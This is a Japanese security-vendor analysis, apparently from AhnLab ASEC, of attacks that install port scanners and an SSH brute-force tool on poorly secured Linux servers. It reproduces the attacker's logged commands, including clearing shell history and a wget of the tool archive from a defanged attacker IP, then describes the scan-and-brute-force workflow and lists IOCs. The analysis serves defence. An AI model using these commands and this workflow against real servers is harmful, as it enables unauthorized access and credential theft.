Linux SSH サーバーを対象にスキャナーマルウェアをインストールする攻撃事例の解析

AhnLab Security Emergency response Center(ASEC)では、不適切に管理されている Linux SSH サーバーを対象とする攻撃キャンペーンを解析し、ASEC ブログに掲載している。攻撃者たちは DDoS Bot、コインマイナー等のマルウェアをインストールする前に、攻撃対象の情報、すなわち IP アドレスや SSH の資格情報を取得する必要がある。このために IP をスキャンして SSH サービス、すなわち22番ポートが開放されているサーバーを探し、その後は ID/PW 情報を突き止めるために総当たり攻撃(または辞書攻撃)を実行する。

攻撃者は、自分たちが確保したコインマイナーが多いほどより多くの仮想通貨を採掘することができ、DDoS Bot が多いほどにより強力な DDoS 攻撃を行うことができる。しかし、コインマイナーや DDoS Bot をより多くインストールするためにはそれだけ多くの攻撃対象の情報、すなわち資格情報を確保する必要がある。

確保した感染システムに DDoS Bot やコインマイナーマルウェアに加えて、このようなスキャンおよび総当たり攻撃、辞書攻撃を実行するマルウェアをインストールすることで、より多くの脆弱なシステムを確保することができる。もちろん、スキャナーマルウェアだけをインストールして取得した攻撃対象の IP や資格情報を、ダークウェブに販売することもできる。

結論として、不適切に管理されている SSH サーバーには DDoS Bot やコインマイナーだけでなく、SSH スキャナーマルウェアがインストールされる場合もある。ここでは、そのようなマルウェアをインストールする攻撃事例を解析していく。

1. Linux SSH サーバーを対象とするマルウェア

一般的に、不適切に管理されている Linux SSH サーバーを対象とする攻撃を通じてインストールされるマルウェアには、ShellBot [1] [2]、Tsunami [3] および ChinaZ [4] DDoS Bot そして XMRig コインマイナー [5] のタイプが存在する。もちろん、これ以外にも様々な既知のマルウェアが攻撃に使用されており、AhnLab TIP では四半期ごとに攻撃およびマルウェアの統計を公開している。

図1. 2023年第3四半期の Linux SSH サーバーを対象とするマルウェアの分類

攻撃者は、マルウェアをインストールする前に以下のような ID/PW リストを利用して SSH サービスが有効になっている Linux サーバーにログインを試み、成功した場合にマルウェアをインストールする。今回確認された攻撃者はアカウント情報を取得したあとマルウェアをインストールする代わりに別のスキャナーマルウェアをインストールしたが、これは脆弱なシステムを確保することが目的であるものと思われる。

図2. 過去 Tsunami DDoS Bot 攻撃キャンペーンに使用された ID/PW リスト

2. SSH Bruteforce 攻撃キャンペーン

攻撃者は、スキャナーを利用して22番ポート、すなわち SSH サービスが動作するシステムをスキャンしたあと SSH 辞書攻撃ツールを利用して獲得したアカウント情報を利用し、マルウェアをインストールした。攻撃に使用された ID/PW は以下の通りである。

User Password Attacker IP
root Password1234 217.156.4[.]2
表1. 攻撃に使用された攻撃者の IP アドレスおよびアカウント情報

ログインに成功したあとは、まず以下のコマンドを実行して CPU コアの全体個数を確認する。参考に、あとで取り扱うがこのコマンドは SSH 辞書攻撃ツール「prg」を使用してログインに成功したあとで実行するコマンドである。

> grep -c ^processor /proc/cpuinfo

このコマンドが実行されたということは、攻撃者がアカウント情報を入手したことを意味する。攻撃者はその後、当該アカウント情報を利用して再度ログインし圧縮ファイルをダウンロードする。この圧縮ファイルの内部にはポートスキャナーと SSH 辞書攻撃ツールが含まれている。参考に、「cd /ev/network」や「unaem 0a」のように攻撃者がミスタイプしたコマンドも共に確認されている。

> unset HISTFILE
> w
> ls -a
> ps ax
> wget 58.216.207[.]82/scan.tar
> ls -a
> mdkri /dev/network
> mkdir /dev/network
> mv scan.tar /dev/network
> cd /ev/network
> cd /dev/network
> ls -a
> unaem 0a
> uname -a
> tar -xvf scan.tar
> cd .stx/
> ls -a
> ./go 212
> cd ..
> ls -a
> rm -rf scan.tar
> ls -a

3. 攻撃に使用されたマルウェアの解析

ファイル名 説明
go スキャナースクリプト(IP A クラス)
gob スキャナースクリプト(IP B クラス)
rand スキャナースクリプト(ランダムな IP B Class 帯域に対し gob 実行)
ps ポートスキャナー
ps2 ポートスキャナー
b バナースキャナー
prg SSH Bruteforce ツール
表2. 攻撃に使用されたマルウェアのリスト

攻撃者は、引数に「212」を渡して「go」という名前の Bash スクリプトを実行させた。「go」スクリプトは順番にポートスキャナー、バナーグラバー、そして SSH 辞書攻撃ツールを実行する機能を担う。

図3. go スキャナースクリプト

ポートスキャナーを実行する際は、引数としてスキャンを行う IP 帯域とポート番号を指定する必要がある。ポート番号は SSH、すなわち22番ポートに設定し、IP 帯域は渡された値を IP A クラス帯域として使用する。

図4. 主な実行ルーティン

「gob」スクリプトは「go」スクリプトと類似しているが、引数に IP B クラスを渡される点が異なっている。攻撃者はこの攻撃で直接 IP A クラスを指定し、「go」スクリプトを実行させたが、IP B クラスを指定して「gob」スクリプトを実行させる、または「rand」スクリプトを実行させる場合もある。「rand」スクリプトは「gob」スクリプトを実行させるが、ランダムな IP B クラスを指定して実行させる点が異なっている。

ポートスキャナーには「ps」または「ps2」が使用されるが、どちらもスキャンを行う IP 帯域とポート番号を渡され、スキャンを実行するツールである。特徴としては、スキャン対象のポートが開放されたシステムを発見した場合、IP アドレスのリストを同じパス上に「bios.txt」という名前で作成するという点がある。

図5. ポートスキャナーの使用法(ps および ps2)

その後は「b」を実行するが、引数として前のプロセスで生成した IP リストが含まれた「bios.txt」と、ポート番号、そしてスキャンするスレッドの数を指定して実行する。「b」はバナースキャナーであり、渡された IP アドレスとポート番号に接続してバナーを収集した後、同じパスに「banner.log」という名前で生成する。「go」スクリプトは当該ファイルから「SSH-2.0-OpenSSH」の文字列が存在する IP リストを抽出し、「ips.lst」という名前のファイルに保存する。

最終的に実行される「prg」は、SSH 辞書攻撃ツールである。同一パス上にある「ips.lst」ファイルから総当たり攻撃の対象となる IP アドレスを読み込み、「pass.lst」ファイルからは辞書攻撃に使用する ID/PW のリストを読み込む。「ips.lst」ファイルにはこれまでのスキャンプロセスで取得した IP アドレスが保存されており、「pass.lst」ファイルは「scan.tar」圧縮ファイルの内部に存在する。辞書攻撃によってログインに成功した場合、その結果は「ssh_vuln」というファイルに保存される。

図6. SSH 辞書攻撃の結果生成されるファイル

「prg」ツールは辞書攻撃によってログインしたあとは「grep -c ^processor /proc/cpuinfo」のコマンドを実行して全体の CPU コア個数情報を取得し、以下のような Nproc エントリで表示する。このコマンドは、上記で最初に実行したコマンドと同じである。つまり、攻撃者は同じツールを利用してスキャンを行い、アカウント情報を取得したあと、攻撃に成功したシステムに直接ログインし、同様にスキャナーと SSH 辞書攻撃ツールをインストールしたものと推定される。

図7. 辞書攻撃に成功したあと表示される結果

4. 過去の攻撃事例

参考に、攻撃に使用された「scan.tar」ファイル内部のポートスキャナー、SSH 辞書攻撃ツール等のファイルは、すでに過去から様々な攻撃者により使用されている。攻撃者によって使用するツールやアカウント情報リスト等のファイルは少しずつ異なるが、攻撃フローはほぼ類似している。

図8. 過去の攻撃で使用されたツール

これらのツールは PRG old Team が制作したツールであると推定され、攻撃者によって少しずつ形を変えて攻撃に使われている。2021年、日本インターネット侵害事故対応チーム(JPCERT/CC)が公開したレポートにおいても、XMRig コインマイナーをインストールする攻撃者がさらにポートスキャナーおよび SSH 辞書攻撃マルウェアをインストールしたが、当該事例でも PRG old Team が制作したツールが使用された。[6]

図9. 攻撃に使用された go スクリプト

5. 結論

最近、不適切に管理されている Linux SSH サーバーを対象に、ポートスキャナーおよび SSH 辞書攻撃マルウェアがインストールされている。攻撃者は、これらのツールを利用してより多くの SSH サーバーを確保し、その後 DDoS Bot やコインマイナーのようなマルウェアをさらにインストールすることもある。

そのため、管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護しなければならず、セキュリティパッチを最新にして脆弱性攻撃を防止する必要がある。また、外部に公開されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

ASEC では、Linux SSH ハニーポットを活用してこのような攻撃元(Attack Source)のアドレスをリアルタイムで収集しており、確認された攻撃元のアドレスは AhnLab TIP を通じて提供している。

図10. AhnLab TIP の Threat IOCs ページ

ファイル検知
– Trojan/Shell.Scanner.SC195356 (2023.12.14.03)
– Trojan/Shell.Scanner.SC195357 (2023.12.14.03)
– Trojan/Shell.Scanner.SC195396 (2023.12.15.03)
– HackTool/Linux.Sshbrute.2121276 (2023.12.14.03)
– HackTool/Linux.Scanner.673120 (2020.04.07.08)
– HackTool/Linux.Portscan.SE157 (2020.04.21.00)
– HackTool/Linux.Scanner.458020 (2023.12.14.03)

IOC
MD5

– db1fd9c0ccc6aea1176d219ff5d7fd01 : Scanner Bash Script (go)
– 6fe6cc7c88cf1a0c20727a03d2577c04 : Scanner Bash Script (gob)
– 03b23be96901764867da50dcd48c96dd : Scanner Bash Script (rand)
– edc91faa16aa3e5b3d7303b2a276d23d : Port Scanner (ps)
– 946689ba1b22d457be06d95731fcbcac : Port Scanner (ps2)
– 45901e5b336fd0eb79c6decb8e9a69cb : Banner Scanner (b)
– dfa3dcb5b825f5622e54bd09be73b6ed : SSH Bruteforcer (prg)

Download
– hxxp://58.216.207[.]82/scan.tar

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。